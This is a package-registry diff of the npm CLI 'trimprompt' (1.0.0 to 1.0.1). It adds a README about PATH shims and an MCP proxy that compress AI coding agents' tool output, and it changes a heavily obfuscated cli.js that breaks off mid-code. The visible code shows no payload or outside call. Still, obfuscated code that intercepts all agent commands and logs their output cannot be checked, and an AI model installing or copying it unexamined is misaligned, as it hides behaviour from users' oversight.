trimprompt 1.0.0 → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md ADDED
@@ -0,0 +1,97 @@
1
+ # TrimPrompt.ai — Client CLI & Local Developer Dashboard
2
+
3
+ **TrimPrompt** is an intelligent, zero-configuration local proxy and telemetry client designed to reduce LLM token consumption for AI coding assistants (such as Claude Code, Cursor, GitHub Copilot, and Windsurf) by **60% to 90%**.
4
+
5
+ It intercepts common shell tool executions, strips ANSI coloring, removes redundant boilerplate, collapses duplicate logs, and applies specialized filters for `git`, `npm`/`pnpm`/`yarn`, `pytest`, `jest`, `pip`, and more—all before the outputs reach your AI agent's context window.
6
+
7
+ ---
8
+
9
+ ## Features
10
+ * **Zero-Config Interception:** Automatically injects custom PATH shims during installation so that all agent-triggered tools run through the optimizer transparently.
11
+ * **Real-time MCP Proxy:** Intercepts Model Context Protocol (MCP) tool response JSON-RPC streams on the fly to compress large tool outputs.
12
+ * **Developer Dashboard:** Visualizes token savings, original vs. shaved cost estimates, and provides a line-by-line diff inspector.
13
+ * **Log Rotation Policy:** Automatically prunes local log text files and database entries older than **180 days** in the background to prevent disk bloat.
14
+ * **Central Sync:** Option to stream aggregated daily savings metrics to a centralized self-hosted Enterprise Hub.
15
+
16
+ ---
17
+
18
+ ## Installation & Setup
19
+
20
+ Install the package globally via NPM:
21
+ ```bash
22
+ npm install -g trimprompt
23
+ ```
24
+
25
+ After global installation, run the initialization command to setup system shims:
26
+ ```bash
27
+ trim shims install
28
+ ```
29
+
30
+ This creates command wrapper shims (e.g. `git.cmd`, `ls.cmd`, `pytest.cmd`, etc.) inside `~/.trimprompt/shims/` and appends this folder to the beginning of your system `PATH` variable.
31
+
32
+ > [!IMPORTANT]
33
+ > Restart your active terminal window or AI editor (Cursor/Claude Code) after initialization for the new environment paths to take effect.
34
+
35
+ ---
36
+
37
+ ## Usage
38
+
39
+ ### 1. Transparent Interception
40
+ Since TrimPrompt intercepts commands at the OS `PATH` level, your AI assistants will automatically benefit from prompt optimization without changing their workflow.
41
+ When Claude Code runs `git status`, it triggers `trim git status` behind the scenes, outputting a compacted representation.
42
+
43
+ ### 2. Manual CLI Commands
44
+ You can also run commands manually:
45
+ * Show stats summary:
46
+ ```bash
47
+ trim stats
48
+ ```
49
+ * View/Set local configurations (e.g. set telemetry sync endpoint):
50
+ ```bash
51
+ trim config set telemetry_url "http://your-company-hub:5000/api/telemetry"
52
+ ```
53
+ * Inspect a dry-run command rewrite:
54
+ ```bash
55
+ trim rewrite "git status"
56
+ ```
57
+
58
+ ### 3. Model Context Protocol (MCP) Proxying
59
+ If you run interactive, streaming MCP servers, wrap them with the `mcp-proxy` command:
60
+ ```bash
61
+ trim mcp-proxy <server-command> [server-args...]
62
+ ```
63
+ Example:
64
+ ```bash
65
+ trim mcp-proxy npx -y @modelcontextprotocol/server-postgres postgres://localhost:5432
66
+ ```
67
+ TrimPrompt will parse the stdin/stdout JSON-RPC stream, extract the tool response text blocks, compress them, log metrics, and forward the stream in real-time.
68
+
69
+ ---
70
+
71
+ ## Local Developer Dashboard
72
+
73
+ Start the local dashboard web UI:
74
+ ```bash
75
+ trim ui
76
+ # or trim dashboard
77
+ ```
78
+ Options:
79
+ * `-p, --port <number>`: Port to run the server on (default: `4000`).
80
+
81
+ The command will boot the dashboard web server and automatically open your default browser pointing to:
82
+ 👉 **`http://localhost:4000`**
83
+
84
+ ### Inside the Dashboard:
85
+ * **Analytics Cards:** See your Shaved Cost, Reduction Rate, Estimated Savings, and Original Cost.
86
+ * **Savings Timeline:** A Chart.js graph tracking your daily raw vs. compressed token counts.
87
+ * **Execution Logs:** Click on any past command to open the visual side-by-side diff inspector showing the exact raw vs. compacted output.
88
+
89
+ ---
90
+
91
+ ## 180-Day Log Rotation Policy
92
+ To keep your disk usage lightweight, TrimPrompt runs a background cleanup process. Every calendar day you use the CLI, a detached background process unlinks all log files (`.raw.txt` and `.comp.txt`) inside `~/.trimprompt/logs/` and removes metadata records from `stats.json` that are older than **180 days**.
93
+
94
+ ---
95
+
96
+ ## License
97
+ Proprietary — TrimPrompt.ai
package/cli.js CHANGED
@@ -1,2 +1,2 @@
1
1
  #!/usr/bin/env node
2
- 'use strict';const a0_0x4c5a66=a0_0xfac6;(function(_0x44da67,_0x58a3c9){const _0x3208e3=a0_0xfac6,_0x34f36e=_0x44da67();while(!![]){try{const _0x1ef665=-parseInt(_0x3208e3(0x13b))/0x1*(-parseInt(_0x3208e3(0x16b))/0x2)+parseInt(_0x3208e3(0x1a0))/0x3*(parseInt(_0x3208e3(0x1b8))/0x4)+parseInt(_0x3208e3(0x1ad))/0x5*(parseInt(_0x3208e3(0x19d))/0x6)+-parseInt(_0x3208e3(0x163))/0x7+parseInt(_0x3208e3(0x133))/0x8+-parseInt(_0x3208e3(0x1b2))/0x9*(-parseInt(_0x3208e3(0x171))/0xa)+-parseInt(_0x3208e3(0x177))/0xb;if(_0x1ef665===_0x58a3c9)break;else _0x34f36e['push'](_0x34f36e['shift']());}catch(_0x3cd813){_0x34f36e['push'](_0x34f36e['shift']());}}}(a0_0x795b,0x7f579));var __createBinding=this&&this[a0_0x4c5a66(0x176)]||(Object[a0_0x4c5a66(0x14d)]?function(_0x136275,_0x3618e4,_0x4d74e2,_0x18f4f5){const _0x34f101=a0_0x4c5a66;if(_0x18f4f5===undefined)_0x18f4f5=_0x4d74e2;var _0x3c8d1c=Object[_0x34f101(0x132)](_0x3618e4,_0x4d74e2);(!_0x3c8d1c||(_0x34f101(0x16d)in _0x3c8d1c?!_0x3618e4['__esModule']:_0x3c8d1c['writable']||_0x3c8d1c[_0x34f101(0x141)]))&&(_0x3c8d1c={'enumerable':!![],'get':function(){return _0x3618e4[_0x4d74e2];}}),Object[_0x34f101(0x130)](_0x136275,_0x18f4f5,_0x3c8d1c);}:function(_0x41858e,_0x323743,_0x30fb2e,_0x5ec384){if(_0x5ec384===undefined)_0x5ec384=_0x30fb2e;_0x41858e[_0x5ec384]=_0x323743[_0x30fb2e];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x454e62,_0x1b0efa){const _0x10160c=a0_0x4c5a66;Object[_0x10160c(0x130)](_0x454e62,_0x10160c(0x168),{'enumerable':!![],'value':_0x1b0efa});}:function(_0x41e9e3,_0xdb946c){const _0x2d8fb1=a0_0x4c5a66;_0x41e9e3[_0x2d8fb1(0x168)]=_0xdb946c;}),__importStar=this&&this['__importStar']||(function(){var _0x135793=function(_0x254d5a){return _0x135793=Object['getOwnPropertyNames']||function(_0x3533d4){const _0x5c5055=a0_0xfac6;var _0x18adc6=[];for(var _0x2161c3 in _0x3533d4)if(Object[_0x5c5055(0x189)]['hasOwnProperty'][_0x5c5055(0x13c)](_0x3533d4,_0x2161c3))_0x18adc6[_0x18adc6[_0x5c5055(0x1aa)]]=_0x2161c3;return _0x18adc6;},_0x135793(_0x254d5a);};return function(_0x46ab6d){const _0x2e05d8=a0_0xfac6;if(_0x46ab6d&&_0x46ab6d[_0x2e05d8(0x1ac)])return _0x46ab6d;var _0x43d89f={};if(_0x46ab6d!=null){for(var _0x2576a8=_0x135793(_0x46ab6d),_0x121dc1=0x0;_0x121dc1<_0x2576a8[_0x2e05d8(0x1aa)];_0x121dc1++)if(_0x2576a8[_0x121dc1]!==_0x2e05d8(0x168))__createBinding(_0x43d89f,_0x46ab6d,_0x2576a8[_0x121dc1]);}return __setModuleDefault(_0x43d89f,_0x46ab6d),_0x43d89f;};}());function a0_0xfac6(_0x1c52b5,_0x2036e2){_0x1c52b5=_0x1c52b5-0x12f;const _0x795ba2=a0_0x795b();let _0xfac613=_0x795ba2[_0x1c52b5];return _0xfac613;}Object[a0_0x4c5a66(0x130)](exports,a0_0x4c5a66(0x1ac),{'value':!![]});const commander_1=require('commander'),executor_1=require(a0_0x4c5a66(0x1a1)),filters_1=require(a0_0x4c5a66(0x17a)),tracker_1=require('./tracker'),shims_1=require('./shims'),dashboard_1=require(a0_0x4c5a66(0x17b)),program=new commander_1[(a0_0x4c5a66(0x143))]();function isDisabled(){return process.env.TRIMPROMPT_DISABLED==='1';}function adjustCommandArgs(_0xa8b0e7,_0x2f507d){const _0x10eff2=a0_0x4c5a66,_0x5b69bc=_0xa8b0e7[_0x10eff2(0x19b)]();if(_0x5b69bc===_0x10eff2(0x12f)||_0x5b69bc===_0x10eff2(0x160)){const _0x5a814d=_0x2f507d[0x0];if(_0x5a814d===_0x10eff2(0x19a)){const _0x4e6d5b=_0x2f507d[_0x10eff2(0x153)](0x1),_0x1261dc=_0x4e6d5b[_0x10eff2(0x1aa)]===0x0||_0x4e6d5b['every'](_0x52dbd9=>{const _0x42438f=_0x10eff2;return _0x52dbd9==='-b'||_0x52dbd9===_0x42438f(0x151)||_0x52dbd9===_0x42438f(0x183)||_0x52dbd9===_0x42438f(0x14a)||_0x52dbd9==='-s'||_0x52dbd9===_0x42438f(0x18e);});if(_0x1261dc)return{'cmd':_0xa8b0e7,'args':['status',_0x10eff2(0x1a9),'-b']};}else{if(_0x5a814d===_0x10eff2(0x1a7)){const _0x40a9ff=_0x2f507d[_0x10eff2(0x153)](0x1),_0x58584b=_0x40a9ff[_0x10eff2(0x1ba)](_0xe83e9c=>_0xe83e9c[_0x10eff2(0x15d)](_0x10eff2(0x167))||_0xe83e9c[_0x10eff2(0x15d)]('--pretty')||_0xe83e9c[_0x10eff2(0x15d)](_0x10eff2(0x198))),_0x298d35=_0x40a9ff[_0x10eff2(0x1ba)](_0x451204=>_0x451204['startsWith']('-')&&/^\d+$/['test'](_0x451204[_0x10eff2(0x153)](0x1))||_0x451204==='-n'||_0x451204[_0x10eff2(0x15d)](_0x10eff2(0x157))),_0x234514=[..._0x2f507d];if(!_0x58584b){const _0x592b76=_0x10eff2(0x197);_0x234514[_0x10eff2(0x1b3)](process['platform']===_0x10eff2(0x155)?'\x22'+_0x592b76+'\x22':_0x592b76);}!_0x298d35&&(_0x58584b?_0x234514[_0x10eff2(0x1b3)](_0x10eff2(0x17e)):_0x234514[_0x10eff2(0x1b3)]('-10'));const _0x5a2aab=_0x40a9ff[_0x10eff2(0x1ba)](_0x329daf=>_0x329daf==='--merges'||_0x329daf===_0x10eff2(0x13d)||_0x329daf[_0x10eff2(0x15d)](_0x10eff2(0x161)));return!_0x5a2aab&&!_0x298d35&&_0x234514[_0x10eff2(0x1b3)](_0x10eff2(0x13d)),{'cmd':_0xa8b0e7,'args':_0x234514};}}}return{'cmd':_0xa8b0e7,'args':_0x2f507d};}function isMcpServerExecution(_0x19b4cc,_0x3942ea){const _0x2de1e7=a0_0x4c5a66,_0x1029a5=_0x19b4cc[_0x2de1e7(0x19b)](),_0x465041=_0x3942ea[_0x2de1e7(0x1c5)]('\x20')['toLowerCase']();if(_0x1029a5['includes'](_0x2de1e7(0x18d))&&(_0x1029a5[_0x2de1e7(0x13a)]('server')||_0x1029a5[_0x2de1e7(0x13a)](_0x2de1e7(0x1a2))))return!![];if(_0x1029a5===_0x2de1e7(0x1af)||_0x1029a5===_0x2de1e7(0x15c)||_0x1029a5===_0x2de1e7(0x1c2)||_0x1029a5===_0x2de1e7(0x140)||_0x1029a5==='pnpm'||_0x1029a5==='yarn'){if(_0x465041[_0x2de1e7(0x13a)]('@modelcontextprotocol/')||_0x465041[_0x2de1e7(0x13a)](_0x2de1e7(0x188))||_0x465041['includes'](_0x2de1e7(0x19e))||_0x465041[_0x2de1e7(0x13a)]('server-mcp'))return!![];}if(_0x3942ea[_0x2de1e7(0x1ba)](_0x496302=>{const _0x268c7a=_0x2de1e7,_0x8e0006=_0x496302[_0x268c7a(0x19b)]();return _0x8e0006[_0x268c7a(0x13a)]('mcp-server')||_0x8e0006[_0x268c7a(0x13a)](_0x268c7a(0x14c))||_0x8e0006[_0x268c7a(0x13a)](_0x268c7a(0x17c))||_0x8e0006==='mcp-proxy'||_0x8e0006===_0x268c7a(0x18d);}))return!![];return![];}async function runProxy(_0x436397){const _0x5f1f3f=a0_0x4c5a66;if(_0x436397[_0x5f1f3f(0x1aa)]===0x0){program[_0x5f1f3f(0x1a6)]();return;}const _0x4f58f4=_0x436397[0x0],_0x3898fe=_0x436397[_0x5f1f3f(0x153)](0x1),_0x3214b1=_0x436397[_0x5f1f3f(0x1c5)]('\x20');if(isDisabled()){const _0x94724b=await(0x0,executor_1[_0x5f1f3f(0x13e)])(_0x4f58f4,_0x3898fe);process['stdout'][_0x5f1f3f(0x19f)](_0x94724b[_0x5f1f3f(0x17d)]),process[_0x5f1f3f(0x16f)][_0x5f1f3f(0x19f)](_0x94724b[_0x5f1f3f(0x16f)]),process['exit'](_0x94724b[_0x5f1f3f(0x187)]);}if(isMcpServerExecution(_0x4f58f4,_0x3898fe)){console[_0x5f1f3f(0x169)]('[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...');const {runMcpProxy:_0x3012f3}=await Promise[_0x5f1f3f(0x1bb)]()[_0x5f1f3f(0x1b1)](()=>__importStar(require('./mcp')));_0x3012f3(_0x4f58f4,_0x3898fe);return;}const _0x54361a=adjustCommandArgs(_0x4f58f4,_0x3898fe),_0x24df98=await(0x0,executor_1[_0x5f1f3f(0x13e)])(_0x54361a[_0x5f1f3f(0x1c3)],_0x54361a[_0x5f1f3f(0x14e)]),_0x44b1df=(0x0,filters_1[_0x5f1f3f(0x138)])(_0x3214b1,_0x24df98[_0x5f1f3f(0x17d)],_0x24df98[_0x5f1f3f(0x16f)],tracker_1[_0x5f1f3f(0x150)]['getConfig']()['redaction_enabled']),_0x36afac=_0x24df98[_0x5f1f3f(0x17d)]+(_0x24df98[_0x5f1f3f(0x16f)]['trim']()[_0x5f1f3f(0x1aa)]>0x0?'\x0a'+_0x24df98[_0x5f1f3f(0x16f)]:'');tracker_1['tracker'][_0x5f1f3f(0x15f)](_0x3214b1,_0x36afac,_0x44b1df,_0x24df98[_0x5f1f3f(0x187)]),_0x24df98[_0x5f1f3f(0x187)]===0x0?process[_0x5f1f3f(0x17d)][_0x5f1f3f(0x19f)](_0x44b1df+'\x0a'):(process['stdout'][_0x5f1f3f(0x19f)](_0x44b1df+'\x0a'),_0x24df98[_0x5f1f3f(0x16f)][_0x5f1f3f(0x1b7)]()[_0x5f1f3f(0x1aa)]>0x0&&!_0x44b1df['includes'](_0x24df98[_0x5f1f3f(0x16f)]['trim']())&&process[_0x5f1f3f(0x16f)][_0x5f1f3f(0x19f)](_0x24df98[_0x5f1f3f(0x16f)]+'\x0a')),process[_0x5f1f3f(0x17f)](_0x24df98['exitCode']);}function a0_0x795b(){const _0x54c131=['total_raw_tokens','message','alias','compressed_cost_usd','__createBinding','11166826HurKyi','[server-args...]','install','./filters','./dashboard','@modelcontextprotocol/','stdout','-50','exit','command','./mcp','config\x20parameter\x20name','-sb','<key>','TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%','rewriteCommand','exitCode','modelcontextprotocol','prototype','toFixed','[value]','Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$','mcp','--short','name','Command\x20to\x20launch\x20the\x20target\x20MCP\x20server','Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall','getStatsSummary','catch','Model\x20Context:\x20\x20\x20\x20\x20','Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$','version','--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---','--format','savings_percentage','status','toLowerCase','true','317418OFtlZb','mcp-server','write','3ejdSYu','./executor','proxy','\x20USD','toLocaleString','Install\x20or\x20uninstall\x20system\x20command\x20shims','help','log','startDashboard','--porcelain','length','claude-3-5-sonnet','__esModule','15oUbFmY','Compressed:\x20\x20\x20\x20\x20\x20\x20\x20','npx','\x20(before\x20Shave)','then','6064659ULLKcq','push','mcp-proxy','Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','false','trim','257708XWNjDT','shims','some','resolve','=============================================\x0a','-m,\x20--model\x20<string>','argument','Estimated\x20Cost:\x20\x20\x20\x20$','uninstallShims','1.0.0','bun','cmd','stats','join','git','defineProperty','config','getOwnPropertyDescriptor','7350688fGHWtz','Reduction\x20Rate:\x20\x20\x20\x20','\x0a=============================================','---------------------------------------------','4000','compressOutput','test','includes','1qAdbcD','call','--no-merges','executeCommand','total_tokens_saved','npm','configurable','Proxy\x20wrapper\x20for\x20Model\x20Context\x20Protocol\x20(MCP)\x20servers\x20to\x20compact\x20tool\x20outputs','Command','argv','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','description','--help','Tokens\x20Saved:\x20\x20\x20\x20\x20\x20','setConfig','-bs','parse','server-mcp','create','args','<action>','tracker','--branch','port','slice','action','win32','uninstall','--max-count','Error:\x20Value\x20required\x20for\x20set\x20action','total_compressed_tokens','=============================================','Start\x20the\x20local\x20developer\x20dashboard','node','startsWith','\x20(after\x20Shave)','logExecution','yadm','--min-parents','model','5007065iRSIry','Error:\x20Action\x20must\x20be\x20get\x20or\x20set','option','rewrite','--oneline','default','error','dashboard','872462xcqXdH','Show\x20token\x20and\x20cost\x20savings\x20summary','get','-p,\x20--port\x20<number>','stderr','set','10wzzjRK'];a0_0x795b=function(){return _0x54c131;};return a0_0x795b();}program[a0_0x4c5a66(0x18f)](a0_0x4c5a66(0x1b7))[a0_0x4c5a66(0x146)](a0_0x4c5a66(0x185))[a0_0x4c5a66(0x196)](a0_0x4c5a66(0x1c1)),program[a0_0x4c5a66(0x180)]('ui')[a0_0x4c5a66(0x174)](a0_0x4c5a66(0x16a))[a0_0x4c5a66(0x146)](a0_0x4c5a66(0x15b))[a0_0x4c5a66(0x165)](a0_0x4c5a66(0x16e),'Port\x20to\x20run\x20the\x20dashboard\x20on',a0_0x4c5a66(0x137))['action'](_0x3cbe5d=>{const _0x159056=a0_0x4c5a66,_0x22e606=parseInt(_0x3cbe5d[_0x159056(0x152)],0xa);(0x0,dashboard_1[_0x159056(0x1a8)])(_0x22e606);}),program[a0_0x4c5a66(0x180)]('stats')[a0_0x4c5a66(0x146)](a0_0x4c5a66(0x16c))['option'](a0_0x4c5a66(0x1bd),a0_0x4c5a66(0x1b5),a0_0x4c5a66(0x1ab))[a0_0x4c5a66(0x154)](_0x4a0869=>{const _0x488423=a0_0x4c5a66,_0x134c17=tracker_1[_0x488423(0x150)][_0x488423(0x192)](_0x4a0869[_0x488423(0x162)]);console[_0x488423(0x1a7)](_0x488423(0x135)),console[_0x488423(0x1a7)]('\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20'),console['log'](_0x488423(0x15a)),console[_0x488423(0x1a7)](_0x488423(0x194)+_0x134c17['model_name']),console['log']('Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20'+_0x134c17[_0x488423(0x172)]['toLocaleString']()),console[_0x488423(0x1a7)](_0x488423(0x1ae)+_0x134c17[_0x488423(0x159)][_0x488423(0x1a4)]()),console[_0x488423(0x1a7)](_0x488423(0x148)+_0x134c17[_0x488423(0x13f)][_0x488423(0x1a4)]()),console[_0x488423(0x1a7)](_0x488423(0x134)+_0x134c17[_0x488423(0x199)]+'%'),console[_0x488423(0x1a7)](_0x488423(0x1bf)+_0x134c17['raw_cost_usd'][_0x488423(0x18a)](0x4)+_0x488423(0x1b0)),console[_0x488423(0x1a7)](_0x488423(0x195)+_0x134c17[_0x488423(0x175)][_0x488423(0x18a)](0x4)+_0x488423(0x15e)),console[_0x488423(0x1a7)](_0x488423(0x136)),console['log'](_0x488423(0x18c)+_0x134c17['money_saved_usd'][_0x488423(0x18a)](0x4)+_0x488423(0x1a3)),console[_0x488423(0x1a7)](_0x488423(0x1bc));}),program[a0_0x4c5a66(0x180)](a0_0x4c5a66(0x131))[a0_0x4c5a66(0x146)]('Manage\x20local\x20configuration\x20parameters')[a0_0x4c5a66(0x1be)](a0_0x4c5a66(0x14f),'get\x20or\x20set')[a0_0x4c5a66(0x1be)](a0_0x4c5a66(0x184),a0_0x4c5a66(0x182))[a0_0x4c5a66(0x1be)](a0_0x4c5a66(0x18b),'value\x20to\x20set')[a0_0x4c5a66(0x154)]((_0x455c9c,_0x5146fd,_0x8d9756)=>{const _0x334609=a0_0x4c5a66;if(_0x455c9c===_0x334609(0x16d)){const _0xb4bb06=tracker_1[_0x334609(0x150)]['getConfig']();console[_0x334609(0x1a7)](_0x5146fd+':\x20'+_0xb4bb06[_0x5146fd]);}else{if(_0x455c9c===_0x334609(0x170)){_0x8d9756===undefined&&(console[_0x334609(0x169)](_0x334609(0x158)),process[_0x334609(0x17f)](0x1));let _0x111a47=_0x8d9756;if(_0x8d9756===_0x334609(0x19c))_0x111a47=!![];if(_0x8d9756===_0x334609(0x1b6))_0x111a47=![];if(/^\d+$/[_0x334609(0x139)](_0x8d9756))_0x111a47=parseInt(_0x8d9756,0xa);tracker_1['tracker'][_0x334609(0x149)](_0x5146fd,_0x111a47),console[_0x334609(0x1a7)]('Config\x20set\x20'+_0x5146fd+'\x20=\x20'+_0x8d9756);}else console[_0x334609(0x169)](_0x334609(0x164)),process['exit'](0x1);}}),program[a0_0x4c5a66(0x180)]('shims')[a0_0x4c5a66(0x146)](a0_0x4c5a66(0x1a5))[a0_0x4c5a66(0x1be)](a0_0x4c5a66(0x14f),'install\x20or\x20uninstall')[a0_0x4c5a66(0x154)](_0x15a9c6=>{const _0x24b5e3=a0_0x4c5a66;if(_0x15a9c6===_0x24b5e3(0x179)){const _0x3b761a=(0x0,shims_1['installShims'])();console[_0x24b5e3(0x1a7)](_0x3b761a[_0x24b5e3(0x173)]);}else{if(_0x15a9c6===_0x24b5e3(0x156)){const _0x56cdf4=(0x0,shims_1[_0x24b5e3(0x1c0)])();console['log'](_0x56cdf4['message']);}else console[_0x24b5e3(0x169)](_0x24b5e3(0x191)),process[_0x24b5e3(0x17f)](0x1);}}),program[a0_0x4c5a66(0x180)](a0_0x4c5a66(0x166))[a0_0x4c5a66(0x146)](a0_0x4c5a66(0x145))[a0_0x4c5a66(0x1be)]('<commandLine>','Command\x20line\x20to\x20evaluate')[a0_0x4c5a66(0x154)](_0x5931c3=>{const _0x4850fb=a0_0x4c5a66;if(isDisabled()){console[_0x4850fb(0x1a7)](_0x5931c3);return;}const _0x3c3e86=(0x0,filters_1[_0x4850fb(0x186)])(_0x5931c3);console[_0x4850fb(0x1a7)](_0x3c3e86);}),program[a0_0x4c5a66(0x180)](a0_0x4c5a66(0x1b4))[a0_0x4c5a66(0x174)](a0_0x4c5a66(0x18d))[a0_0x4c5a66(0x146)](a0_0x4c5a66(0x142))[a0_0x4c5a66(0x1be)]('<server-command>',a0_0x4c5a66(0x190))[a0_0x4c5a66(0x1be)](a0_0x4c5a66(0x178),'Arguments\x20for\x20the\x20target\x20MCP\x20server')[a0_0x4c5a66(0x154)](async(_0xada103,_0x5eca6f)=>{const _0x51ab8b=a0_0x4c5a66,{runMcpProxy:_0x485d4a}=await Promise['resolve']()[_0x51ab8b(0x1b1)](()=>__importStar(require(_0x51ab8b(0x181))));_0x485d4a(_0xada103,_0x5eca6f);});const args=process[a0_0x4c5a66(0x144)][a0_0x4c5a66(0x153)](0x2),firstArg=args[0x0],subcommands=['ui','dashboard',a0_0x4c5a66(0x1c4),'config',a0_0x4c5a66(0x1b9),a0_0x4c5a66(0x166),a0_0x4c5a66(0x1b4),'mcp',a0_0x4c5a66(0x1a6),a0_0x4c5a66(0x147),'-h',a0_0x4c5a66(0x196),'--version','-v'];firstArg&&!subcommands[a0_0x4c5a66(0x13a)](firstArg)?runProxy(args)[a0_0x4c5a66(0x193)](_0x4c04da=>{const _0x38fe41=a0_0x4c5a66;console['error']('[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20'+_0x4c04da[_0x38fe41(0x173)]),process[_0x38fe41(0x17f)](0x1);}):program[a0_0x4c5a66(0x14b)](process['argv']);
2
+ 'use strict';function a0_0x5a09(){const _0x13e128=['--version','default','resolve','defineProperty','[value]','false','<commandLine>','--no-merges','logExecution','\x0a=============================================','installShims','total_tokens_saved','includes','config','npx','message','--porcelain','total_compressed_tokens','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','savings_percentage','Proxy\x20wrapper\x20for\x20Model\x20Context\x20Protocol\x20(MCP)\x20servers\x20to\x20compact\x20tool\x20outputs','npm','push','--oneline','stderr','=============================================\x0a','Manage\x20local\x20configuration\x20parameters','-10','Error:\x20Action\x20must\x20be\x20get\x20or\x20set','Install\x20or\x20uninstall\x20system\x20command\x20shims','Start\x20the\x20local\x20developer\x20dashboard','status','slice','4000','exit','[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...','__importStar','alias','get','10100280DRpEoQ','__createBinding','Port\x20to\x20run\x20the\x20dashboard\x20on','redaction_enabled','parse','292ClDZip','---------------------------------------------','2202LhRYkT','server-mcp','option','--branch','write','3435660nObiae','Command','mcp','config\x20parameter\x20name','\x20(after\x20Shave)','some','then','--min-parents','writable','-m,\x20--model\x20<string>','help','catch','Reduction\x20Rate:\x20\x20\x20\x20','8Cbbvas','platform','Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$','action','216cZeYLs','raw_cost_usd','<action>','-bs','trim','Model\x20Context:\x20\x20\x20\x20\x20','name','args','error','tracker','./shims','-sb','228521KOhcea','description','executeCommand','--format','--merges','./executor','node','log','Config\x20set\x20','command','242289qolUoQ','-p,\x20--port\x20<number>','dashboard','yadm','stats','20069sNJKpY','create','@modelcontextprotocol/','Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20','\x20(before\x20Shave)','value\x20to\x20set','Tokens\x20Saved:\x20\x20\x20\x20\x20\x20','every','__setModuleDefault','total_raw_tokens','exitCode','--max-count','mcp-server','rewrite','call','[server-args...]','modelcontextprotocol','argument','install','./mcp','model_name','TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%','Command\x20line\x20to\x20evaluate','stdout','get\x20or\x20set','cmd','git','\x20USD','version','setConfig','--pretty=format:%h\x20%s\x20(%ar)\x20(%an)%n%b%n---END---','Error:\x20Value\x20required\x20for\x20set\x20action','startsWith','commander','length','true','toFixed','1324880VDQtdf','toLocaleString','11ZslELI','test','[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20','server','25446AJDOuV','Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$','pnpm','getConfig','mcp-proxy','__esModule','./dashboard','Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','argv','prototype','toLowerCase','./filters','configurable'];a0_0x5a09=function(){return _0x13e128;};return a0_0x5a09();}const a0_0x3b4f82=a0_0x5f43;(function(_0x5d01d8,_0xe24cc0){const _0x33d723=a0_0x5f43,_0x56b567=_0x5d01d8();while(!![]){try{const _0x508eb9=-parseInt(_0x33d723(0x1b9))/0x1*(-parseInt(_0x33d723(0x1a9))/0x2)+-parseInt(_0x33d723(0x15c))/0x3*(parseInt(_0x33d723(0x195))/0x4)+parseInt(_0x33d723(0x156))/0x5+parseInt(_0x33d723(0x197))/0x6*(-parseInt(_0x33d723(0x1c8))/0x7)+-parseInt(_0x33d723(0x1ad))/0x8*(-parseInt(_0x33d723(0x1c3))/0x9)+-parseInt(_0x33d723(0x19c))/0xa*(parseInt(_0x33d723(0x158))/0xb)+parseInt(_0x33d723(0x190))/0xc;if(_0x508eb9===_0xe24cc0)break;else _0x56b567['push'](_0x56b567['shift']());}catch(_0x3576c6){_0x56b567['push'](_0x56b567['shift']());}}}(a0_0x5a09,0xb2e04));var __createBinding=this&&this[a0_0x3b4f82(0x191)]||(Object['create']?function(_0x28a73b,_0x3e5321,_0x3ebd23,_0x4abbbe){const _0xd42f2a=a0_0x3b4f82;if(_0x4abbbe===undefined)_0x4abbbe=_0x3ebd23;var _0x1fb1cc=Object['getOwnPropertyDescriptor'](_0x3e5321,_0x3ebd23);(!_0x1fb1cc||(_0xd42f2a(0x18f)in _0x1fb1cc?!_0x3e5321[_0xd42f2a(0x161)]:_0x1fb1cc[_0xd42f2a(0x1a4)]||_0x1fb1cc[_0xd42f2a(0x168)]))&&(_0x1fb1cc={'enumerable':!![],'get':function(){return _0x3e5321[_0x3ebd23];}}),Object['defineProperty'](_0x28a73b,_0x4abbbe,_0x1fb1cc);}:function(_0x31b545,_0x368474,_0x901bcd,_0xdc1348){if(_0xdc1348===undefined)_0xdc1348=_0x901bcd;_0x31b545[_0xdc1348]=_0x368474[_0x901bcd];}),__setModuleDefault=this&&this[a0_0x3b4f82(0x139)]||(Object[a0_0x3b4f82(0x1c9)]?function(_0x67204d,_0x22bcf1){const _0x5e7ed4=a0_0x3b4f82;Object[_0x5e7ed4(0x16c)](_0x67204d,_0x5e7ed4(0x16a),{'enumerable':!![],'value':_0x22bcf1});}:function(_0x244be3,_0x22bf11){const _0x1d307e=a0_0x3b4f82;_0x244be3[_0x1d307e(0x16a)]=_0x22bf11;}),__importStar=this&&this[a0_0x3b4f82(0x18d)]||(function(){var _0x23861b=function(_0x23a953){return _0x23861b=Object['getOwnPropertyNames']||function(_0x39314c){const _0x341627=a0_0x5f43;var _0x36d0bf=[];for(var _0x2c696a in _0x39314c)if(Object[_0x341627(0x165)]['hasOwnProperty'][_0x341627(0x13f)](_0x39314c,_0x2c696a))_0x36d0bf[_0x36d0bf[_0x341627(0x153)]]=_0x2c696a;return _0x36d0bf;},_0x23861b(_0x23a953);};return function(_0xb9b35e){const 